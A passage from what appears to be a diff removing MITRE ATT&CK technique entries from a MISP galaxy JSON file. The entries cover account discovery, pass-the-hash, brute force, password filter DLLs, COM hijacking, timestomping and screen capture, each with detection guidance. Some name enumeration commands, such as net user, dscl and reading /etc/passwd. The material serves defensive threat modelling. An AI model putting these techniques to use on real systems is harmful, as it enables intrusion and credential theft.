(Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No", - "value": "Data Compressed - T1002", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1002", - "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" - ], - "mitre_data_sources": [ - "File monitoring", - "Binary file metadata", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" - }, - { - "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: Travis Smith, Tripwire", - "value": "Account Discovery - T1087", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1087" - ], - "mitre_data_sources": [ - "API monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08" - }, - { - "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: Travis Smith, Tripwire", - "value": "Pass the Hash - T1075", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1075", - "http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff" - }, - { - "description": "The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. \n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.\n\nDetection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, File monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: No", - "value": "Source - T1153", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1153" - ], - "mitre_data_sources": [ - "Process Monitoring", - "File monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0" - }, - { - "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)\n\nDetection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\n\nPlatforms: Linux, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Timestomp - T1099", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1099", - "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "Windows" - ] - }, - "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a" - }, - { - "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nDetection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: John Strand", - "value": "Brute Force - T1110", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1110", - "https://en.wikipedia.org/wiki/Password%20cracking", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", - "http://www.blackhillsinfosec.com/?p=4645" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd" - }, - { - "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman, Travis Smith, Tripwire", - "value": "Modify Registry - T1112", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1112", - "https://technet.microsoft.com/en-us/library/cc732643.aspx", - "https://technet.microsoft.com/en-us/library/cc754820.aspx" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4" - }, - { - "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\n\nDetection: Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux", - "value": "Password Filter DLL - T1174", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1174", - "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", - "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" - ], - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "b8c5c9dd-a662-479d-9428-ae745872537c" - }, - { - "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: Erye Hernandez, Palo Alto Networks", - "value": "Space after Filename - T1151", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1151", - "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00" - }, - { - "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring", - "value": "Screen Capture - T1113", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1113", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688" - }, - { - "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems", - "value": "Indicator Removal from Tools - T1066", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1066" - ], - "mitre_data_sources": [ - "Process use of network", - "Anti-virus", - "Binary file metadata", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "00d0b012-8a03-410e-95de-5826bf542de6" - }, - { - "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example:\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n*HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", - "value": "Change Default File Association - T1042", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1042", - "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", - "http://msdn.microsoft.com/en-us/library/bb166549.aspx" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "68c96494-1a50-403e-8844-69a6af278c68" - }, - { - "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network", - "value": "Email Collection - T1114", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1114" - ], - "mitre_data_sources": [ - "Authentication logs", - "File monitoring", - "Process monitoring", - "Process use of network" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f" - }, - { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User", - "value": "System Information Discovery - T1082", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1082" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1" - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator", - "value": "System Network Connections Discovery - T1049", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1049" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475" - }, - { - "description": "On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n===at===\n\nThe at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n===launchd===\n\nEach launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: Administrator, User, root\n\nContributors: Anastasios Pingios", - "value": "Local Job Scheduling - T1168", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1168", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html", - "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", - "https://linux.die.net/man/5/crontab", - "https://linux.die.net/man/1/at", - "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8" - }, - { - "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Linux, macOS, Windows\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", - "value": "Two-Factor Authentication Interception - T1111", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1111", - "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49" - }, - { - "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak", - "value": "Execution through API - T1106", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1106", - "http://msdn.microsoft.com/en-us/library/ms682425", - "https://skanthak.homepage.t-online.de/verifier.html" - ], - "mitre_data_sources": [ - "API monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670" - }, - { - "description": "The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nDefense Bypassed: Autoruns Analysis\n\nPermissions Required: User\n\nContributors: ENDGAME", - "value": "Component Object Model Hijacking - T1122", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1122", - "https://msdn.microsoft.com/library/ms694363.aspx", - "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" - ], - "mitre_data_sources": [ - "Windows Registry", - "DLL monitoring", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69" - }, - { - "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab clipboard contents (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring", - "value": "Clipboard Data - T1115", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1115", - "https://msdn.microsoft.com/en-us/library/ms649012", - "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/" - ], - "mitre_data_sources": [ - "API monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f" - }, - { - "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nPermissions Required: User", - "value": "Hidden Window - T1143", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1143", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": 